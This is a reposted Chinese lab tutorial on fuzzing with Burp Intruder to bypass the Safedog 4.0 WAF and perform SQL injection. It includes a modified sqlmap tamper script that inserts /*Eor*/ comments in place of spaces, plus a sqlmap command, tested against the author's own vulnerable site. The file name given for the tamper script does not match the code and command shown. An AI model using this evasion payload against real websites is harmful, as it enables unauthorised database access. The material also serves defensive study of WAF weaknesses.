技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

栏目: IT技术 · 发布时间: 5年前

内容简介:本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。使用大小写绕过使用/**/注释符绕过

0×00 前言

本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。

0×01注入绕waf过常用手法

使用大小写绕过

使用/**/注释符绕过

使用大的数据包绕过

使用/!**/注释符绕过

……

0×02本文使用的手法是/**/注释符

首先搭建好一个有 sql 注入的测试平台,在服务器安装安全狗4.0版本

中间件和数据库使用的是apache+mysql+php(如图下)

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

访问搭建好有sql注入点的网站:

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

先进行简单测试

使用大小写加/**/注释

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

访问被拦截

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

使用burp进行对刚刚注入点进行抓包

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

放到重发功能repeater里面,修改id后面的值,以便等下方便爆破

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

修改方法,就是尽量sql语句简单,而且可以触发安全狗

以为使用到/**/注释符号来代替空格,使用尽量sql语句只留一个空格,又能触发安全狗

我的构造,刚刚好阔以触发安全狗

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

然后接下来就是fuzz,看看哪一个字符能绕过安全狗啦

把数据包放到intuder里面

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

爆破点如上图

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

设置如上图,字典是一些sql语句,网上有很多这种字典

开始fuzz

如果有拦截就会是这样子

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

成功绕过安全狗拦截,如下图

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

说明该/*Eor*/这个注释符可以绕过安全狗

简单测试/*Eor*/这个注释符

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

点击确认

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

发现and/*Eor*/1=2会被拦截

不清楚fuzz时候不拦截,手动就拦截了

没关系,使用sqlmap工具

打开sqlmap使在文件下面的文件夹tamper/concat2concatws.py

修改代码:

#!/usr/bin/env python2

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*Eor*/"
                continue

            retVal += payload[i]

    return retVal

使用命令:python2 sqlmap.py -r 1.txt –tamper=space2comment

开始sql注入

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

成功利用

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

第一本Docker书 修订版

第一本Docker书 修订版

詹姆斯·特恩布尔 (James Turnbull) / 李兆海、刘斌、巨震 / 人民邮电出版社 / 2016-4-1 / CNY 59.00

Docker是一个开源的应用容器引擎,开发者可以利用Docker打包自己的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。 本书由Docker公司前服务与支持副总裁James Turnbull编写,是Docker开发指南。本书专注于Docker 1.9及以上版本,指导读者完成Docker的安装、部署、管理和扩展,带领读者经历从测试到生产的整个开发生......一起来看看 《第一本Docker书 修订版》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器